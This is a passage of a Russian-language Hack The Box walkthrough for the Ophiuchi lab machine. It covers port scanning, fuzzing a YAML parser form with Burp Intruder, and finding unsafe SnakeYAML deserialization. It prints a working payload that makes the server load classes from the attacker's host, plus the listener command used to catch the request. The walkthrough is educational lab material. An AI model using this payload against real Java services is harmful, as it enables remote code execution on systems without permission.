Категория > Новости > HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM - «Новости»

HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM - «Новости»


7-07-2021, 00:00. Автор: Людмила
Hack The Box. На ее при­мере мы сна­чала попен­тестим SnakeYAML, а затем будем модифи­циро­вать при­ложе­ние на Go, которое ком­пилиру­ется в WebAssembly.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


 

Сканирование портов


До­бав­ляем адрес машины в файл hosts, что­бы обра­щать­ся к ней по име­ни.


10.10.10.227 ophiuchi.htb

И начина­ем тра­дици­онно со ска­ниро­вания пор­тов. В этот раз я буду исполь­зовать быс­трый ска­нер RustScan. Сна­чала он най­дет все откры­тые пор­ты, а потом передаст зна­мени­тому Nmap для ска­ниро­вания со скрип­тами (прос­то ука­жем опцию -A).


rustscan 10.10.10.227 -- -A
Об­наружен­ные с помощью RustScan откры­тые пор­ты
Ска­ниро­вание Nmap

Мы наш­ли две служ­бы: SSH (порт 22) и веб‑сер­вер Apache Tomcat (порт 8080). На SSH сей­час мож­но толь­ко брут­форсить учет­ные дан­ные, но это не комиль­фо, тем более при про­хож­дении лабора­тор­ных машин. Поэто­му нам оста­ется искать точ­ку вхо­да на сай­те.


 

Точка входа


При перехо­де на сайт нас встре­тила фор­ма пар­сера раз­метки YAML.


HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM - «Новости»
Фор­ма Online YAML Parser

Ти­пич­ная проб­лема любых пар­серов — неп­равиль­ная обра­бот­ка слу­жеб­ных сим­волов, которая может при­вес­ти к уяз­вимос­тям. Что­бы про­верить, нет ли здесь чего‑то подоб­ного, отпра­вим в фор­му вво­да все печата­емые сим­волы по оче­реди. Я буду делать это через Burp. Пер­вым делом перех­ватим зап­рос в Burp и отпра­вим его в Intruder. На вклад­ке Payload Position ука­жем тип ата­ки Sniper, изме­ним зна­чение парамет­ра data, при­менив пус­тую наг­рузку.


Вклад­ка Payload Position

Да­лее на вклад­ке Payload Options заг­рузим спи­сок печата­емых сим­волов, к при­меру этот, из набора сло­варей SecLists. И выпол­ним перебор, нажав кноп­ку Start Attack. Пос­ле завер­шения ата­ки сор­тиру­ем резуль­таты по стол­бцу Length так, что­бы сна­чала шли самые боль­шие отве­ты.


Вклад­ка Payload Options
Ре­зуль­тат перебо­ра сим­вола

Ес­ли отправ­лять обыч­ные сим­волы, то ответ всег­да будет оди­нако­вый.


Due to security reason this feature has been temporarily on hold. We will soon fix the issue!


Но в ответ на некото­рые зап­росы мы получа­ем ошиб­ки. Для нас это хорошо, так как сооб­щения могут рас­кры­вать допол­нитель­ную информа­цию о целевом при­ложе­нии, к при­меру исполь­зуемые тех­нологии. И дей­стви­тель­но: в тек­сте ошиб­ки видим упо­мина­ние SnakeYAML, и, что более инте­рес­но, ошиб­ка про­исхо­дит в методе load.



info


SnakeYAML — про­цес­сор раз­метки YAML для прог­рамм на Java.



Текст ошиб­ки, получа­емой при отправ­ке сим­вола про­цен­та

То есть в дан­ном слу­чае поль­зователь­ский ввод переда­ется в метод Yaml.load(), который кон­верти­рует документ YAML в объ­ект Java, что потен­циаль­но может при­вес­ти к уяз­вимос­ти десери­али­зации, а это, в свою оче­редь, откры­вает путь к уда­лен­ному выпол­нению кода (RCE).


Даль­ше я без тру­да нашел готовую наг­рузку, которая экс­плу­ати­рует уяз­вимость в десери­али­зации SnakeYAML (PDF). Смысл уяз­вимос­ти в том, что мы можем спро­воци­ровать заг­рузку клас­са со сво­его хос­та.


Да­вай отпра­вим тес­товую наг­рузку и пос­мотрим на резуль­тат. Что­бы пой­мать отклик, запус­тим прос­той локаль­ный веб‑сер­вер Python 3.


python3 -mhttp.server 8000

А теперь отправ­ляем сле­дующую наг­рузку. Пос­ле отправ­ки в логах веб‑сер­вера уви­дим попыт­ку заг­рузить фай­лы.


!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.88:8000/"]
]]
]
По­иск опи­сан­ных уяз­вимос­тей в Online YAML Parser

В окне бра­узе­ра наб­люда­ем уже зна­комое нам сооб­щение, а вот в логах веб‑сер­вера видим две записи, одна из которых — зап­рос HEAD. То есть наше пред­положе­ние ока­залось вер­ным, мы можем добить­ся заг­рузки кода с нашего сер­вера.


Ло­ги локаль­ного веб‑сер­вера Python

Перейти обратно к новости